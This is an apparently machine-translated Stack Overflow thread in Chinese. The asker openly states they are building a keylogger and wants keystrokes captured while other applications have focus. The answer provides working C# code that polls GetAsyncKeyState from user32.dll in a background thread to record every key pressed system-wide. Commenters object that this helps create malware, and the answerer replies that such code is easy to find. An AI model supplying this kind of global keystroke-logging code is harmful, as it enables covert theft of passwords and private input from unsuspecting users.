2016-07-23 43 views
-2

這裏我只獲取KeyCode上的KeyUp事件,我想要獲取關鍵代碼,同時關注窗口的任何應用程序。實際上,我正在綁定關鍵記錄器窗口應用程序,當我失去對錶單的焦點時,我如何獲得關鍵代碼?如何獲得關鍵代碼,同時關注任何窗口應用程序

private void Form1_KeyUp(object sender, KeyEventArgs e) 
    { 
     Fun_Val(e); 
    } 

    private void Fun_Val(KeyEventArgs e) 
    { 
     switch (e.KeyCode) 
     { 
      case Keys.Space: 
       cl.Fun_Write(" "); 
       break; 

      case Keys.Enter: 
       cl.Fun_Write(Environment.NewLine); 
       break; 

      case Keys.LShiftKey: 
       cl.Fun_Write(" "); 
       break; 

      case Keys.RShiftKey: 
       cl.Fun_Write(" "); 
       break; 

      default: 
       if (Control.ModifierKeys != Keys.Shift) 
       { 
        cl.Fun_Write(e.KeyCode.ToString().ToLower()); 
       } 
       else 
       { 
        cl.Fun_Write(e.KeyCode.ToString()); 
       } 
       break; 
     } 
    } 

    public void Fun_Write(string word) 
    { 
     // filename = DateTime.Now.Month + "-" + DateTime.Now.Day + filename; 
     path = Path.Combine(dir, filename); 
     DirectoryInfo di = new DirectoryInfo(dir); 
     FileInfo fi = new FileInfo(path); 
     if (!di.Exists) 
     { 
      di.Create(); 

      if (!fi.Exists) 
      { 
       fi.Create(); 
      } 
     } 
     else 
     { 
      StreamWriter sw = new StreamWriter(path, true); 
      sw.Write(word, true); 
      sw.Close(); 
     } 
    } 
+1

我剛剛downvoted,因爲您確實需要幫助創建惡意代碼(或至少要求我們幫助您獲取它工作)。我沒有發現這樣的問題適合堆棧溢出,但是別人怎麼看這個問題我不知道。 –

回答

-1

如果你想添加一個鍵盤側錄功能,如果你從user32.dll中使用GetAsyncKeyState()方法更容易,加上給表單的源代碼,並創建一個循環,如果一個鍵被按下,將繼續尋找。然而,你首先需要創建一個thread,所以做一個新的類,並調用它如「workThread.cs」

using System; 
using System.Collections.Generic; 
using System.Runtime.InteropServices; 
using System.Text; 
using System.Threading; 
using System.Windows.Forms; 

class workThread 
{ 
    [DllImport("user32.dll")] //imports function from unmanaged code (requires System.Runtime.InteropServices) 
    public static extern int GetAsyncKeyState(Int32 i); 

    public workThread() {; } //empty constructor 

    public void LogKeys() //the function the thread will do when being called 
    { 
     while (true) 
     { 
      //sleeping for while, this will reduce load on cpu 
      Thread.Sleep(50); 
      for (Int32 i = 0; i < 255; i++) 
      { 
       int keyState = GetAsyncKeyState(i); 
       if (keyState == 1 || keyState == -32767) 
       { 
        Fun_Write(((Keys)i).ToString()); 
       } 
      } 
     } 
    } 

    public static void Fun_Write(string word) 
    { 
     //do what you want with the key 
    } 
} 

然後,只需啓動線程的地方在你的形式與此:

workThread worker = new workThread(); 
Thread workThread = new Thread(worker.LogKeys); //attach the function to the thread 
workThread.Start(); 

注意:請在發佈問題前檢查您的問題預覽和代碼縮進,以便內容更具可讀性和更清晰

+0

你剛幫他做惡意軟件嗎? –

+0

你可以很容易地找到這段代碼,因爲製作鍵盤記錄程序其實很簡單。另一方面部署它更困難 –

+0

我很清楚這一點,但我仍然不知道堆棧溢出版主認爲這是什麼;是否贊成/允許幫助某人制作惡意代碼(以及如何這樣做的知識)。 –

相關問題